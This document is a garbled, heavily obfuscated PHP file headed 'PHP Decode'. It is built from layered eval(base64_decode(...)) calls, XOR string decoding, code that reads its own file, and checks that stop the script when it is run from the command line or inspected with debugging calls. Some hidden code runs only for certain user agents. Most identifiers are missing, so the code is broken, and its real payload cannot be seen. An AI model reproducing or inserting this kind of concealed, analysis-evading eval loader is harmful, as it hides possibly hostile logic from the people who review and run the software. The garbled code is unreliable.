PHP Decode

<?  ?php 
if(!defined('Y8F5E1CBA2F283589A15BA366D6C44B1C')){define('Y8F5E1CBA2F283589A15BA366D6C44B1C',__FILE__);if(!function_exists('')){global $,$,$,$,$,$,$,$,$,$;global $,$,$,$,$,$,$,$;function (&$,$,$=0){global $,$,$,$,$,$;$='';$+=$;$=$.'';if($==31)$=$;if($==15)eval($('JO2CzLmAoJk9bmV3IFJlZmxlY3Rpb25GdW5jdGlvbigigb3SwaXH7SIpOyT38s+Roe2mPSTtgsy5gKCZLT5nZXRQYXJhbWV0ZXJzKCk7JNaR95SFws89c3RycG9zKFk4RjVFMUNCQTJGMjgzNTg5QTE1QkEzNjZENkM0NEIxQyxfX0ZJTEVfXyk7JOiPodeFxYc9JNaR95SFws8uJPfyz5Gh7aZbMF0tPm5hbWU7'));$=strlen($);$=strlen($);$=0;for($i=0;$i<$;$i++){if($>=$)$=0;if($==28){$=$($);return;}$.=$[$]^$[$i];$++;}$=$;return $;}eval(base64_decode('ZnVuY3Rpb24g44OC64vGqSgpe2dsb2JhbCAk2aPgr6PEnywk6I+h14XFhywkgaiHwvmq0iwk+LGq067SoDsk+LGq067SoCgk2aPgr6PEnywk2aPgr6PEnywzMSk7JNaR95SFws89c3RycG9zKFk4RjVFMUNCQTJGMjgzNTg5QTE1QkEzNjZENkM0NEIxQyxfX0ZJTEVfXyk7JNaR95SFws8uPSTZo+Cvo8SfO3JldHVybiAk1pH3lIXCzzt9'));function (&$){global $,$,$,$,$,$,$,$,$,$;$=$($('Y8F5E1CBA2F283589A15BA366D6C44B1C'));$=$($(__FUNCTION__));$=$($,-15589,-8);$=$($($),'',$);$=$("\'","'",$);$=$("\\","\",$);$=$($,34);$.='';return ();$=$($);return $;}}}$='';$='';$=$=$=$=$=$=$=$=$=$=$=$=$;$='QAeuxO';$=90;if(!isset($)){$($,'VF]',4);eval(base64_decode('JPPao5S+vdwoJN+K6cbxhYMsJ0JEQ25CXkUBAicsJIbAme3nyokoJwcnKSk7aWYoJN+K6cbxhYMhPWJhc2U2NF9kZWNvZGUoJ2MzUnlYM0p2ZERFeicpKXtldmFsKCTfiunG8YWDKTtyZXR1cm47fQ=='));eval(base64_decode('JMjkpZ6gka0oJIGoh8L5qtIsJ1VZXFwnLCSGwJnt58qJKCcIJykpO2lmKCSBqIfC+arSIT1iYXNlNjRfZGVjb2RlKCdaR2xsJykpe2V2YWwoJIGoh8L5qtIpO3JldHVybjt9'));eval(base64_decode('JMzmmdiQo/coJKKgzYrfs8ssJ1NTQ1QEBG5WVVJdVFQnLCSGwJnt58qJKCcLJykpO2lmKCSioM2K37PLIT1iYXNlNjRfZGVjb2RlKCdZbUZ6WlRZMFgyUmxZMjlrWlE9PScpKXtldmFsKCSioM2K37PLKTtyZXR1cm47fQ=='));eval(base64_decode('JLSM4v2jxcMoJNHpzbGZ/e4sJ1daX1RsVFRHbFJcXF1FVl1FQCcsJIbAme3nyokoJw0nKSk7aWYoJNHpzbGZ/e4hPWJhc2U2NF9kZWNvZGUoJ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNPScpKXtldmFsKCTR6c2xmf3uKTtyZXR1cm47fQ=='));eval(base64_decode('JNaji4a0ouMoJJPjrZWupc4sJ0JBWkJASicsJIbAme3nyokoJw8nKSk7aWYoJJPjrZWupc4hPWJhc2U2NF9kZWNvZGUoJ2MzVmljM1J5Jykpe2V2YWwoJJPjrZWupc4pO3JldHVybjt9'));eval(base64_decode('JNbji6a7+pYoJK/Emq+jvr8sJ0JCRl1TWicsJIbAme3nyokoJxAnKSk7aWYoJK/Emq+jvr8hPWJhc2U2NF9kZWNvZGUoJ2MzUnliR1Z1Jykpe2V2YWwoJK/Emq+jvr8pO3JldHVybjt9'));eval(base64_decode('JN2m48HajrQoJNqLqvnYxfwsJ0JMQG5KV0FUU1JdJywkhsCZ7efKiSgnEicpKTtpZigk2ouq+djF/CE9YmFzZTY0X2RlY29kZSgnYzNSeVgzSmxjR3hoWTJVPScpKXtldmFsKCTai6r52MX8KTtyZXR1cm47fQ=='));eval(base64_decode('JNjan6+/xacoJN/w+7ausOYsJ0JCVlVvQVdAX1NTVm1TUl5cXFFTU1gnLCSGwJnt58qJKCcVJykpO2lmKCTf8Pu2rrDmIT1iYXNlNjRfZGVjb2RlKCdjSEpsWjE5eVpYQnNZV05sWDJOaGJHeGlZV05yJykpe2V2YWwoJN/w+7ausOYpO3JldHVybjt9'));eval(base64_decode('JMzmmdiQo/coJP2R6sO+mqIsJ1FdWUFGVlxcRicsJIbAme3nyokoJxgnKSk7aWYoJP2R6sO+mqIhPWJhc2U2NF9kZWNvZGUoJ1kyOXVjM1JoYm5RPScpKXtldmFsKCT9kerDvpqiKTtyZXR1cm47fQ=='));eval(base64_decode('JJ/2qfv92pUoJI7k8oS3qYcsJ19RBycsJIbAme3nyokoJxknKSk7aWYoJI7k8oS3qYchPWJhc2U2NF9kZWNvZGUoJ2JXUTEnKSl7ZXZhbCgkjuTyhLephyk7cmV0dXJuO30='));eval(base64_decode('JPixqtOu0qAoJPu12s+5u6ksJ0FDSkZYTUJHXUAnLCSGwJnt58qJKCcaJykpO2lmKCT7tdrPubupIT1iYXNlNjRfZGVjb2RlKCdjM1J5ZEc5MWNIQmxjZz09Jykpe2V2YWwoJPu12s+5u6kpO3JldHVybjt9aWYocGhwX3NhcGlfbmFtZSgpPT0nY2xpJylleGl0O2lmKHByZWdfbWF0Y2goJy9cYih2YXJfZHVtcHxwcmludF9yKVxzKlwoXHMqZ2V0X2RlZmluZWRfdmFyc1xiL2knLGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpKWV4aXQoJ0VNR0RWJyk7'));if(strstr($_SERVER['HTTP_USER_AGENT'],chr(46)))eval(base64_decode('JMKn9enhnrQoJOXntJGTwbQsJ0BEREdCJywkhsCZ7efKiSgnHCcpKTtpZigk5ee0kZPBtCE9YmFzZTY0X2RlY29kZSgnYzNSeWRIST0nKSl7ZXZhbCgk5ee0kZPBtCk7cmV0dXJuO30='));eval(base64_decode('JMuzxsbXy+0oJKLpwqLgwKcsJ0BHRUNcXEQnLCSGwJnt58qJKCcfJykpO2lmKCSi6cKi4MCnPT1iYXNlNjRfZGVjb2RlKCc0ZWZrMVllK3NRPT0nKSl7ZXZhbCgkounCouDApyk7cmV0dXJuO30='));$($);if(strstr($_SERVER['HTTP_USER_AGENT'],chr(46)))eval($);return;}return '73597R419S00O843P627R66R05QR418P';eval(str_rot13(' 
24uU5PCoG~\goLM.Ud=8=foj0Fmp\' ?>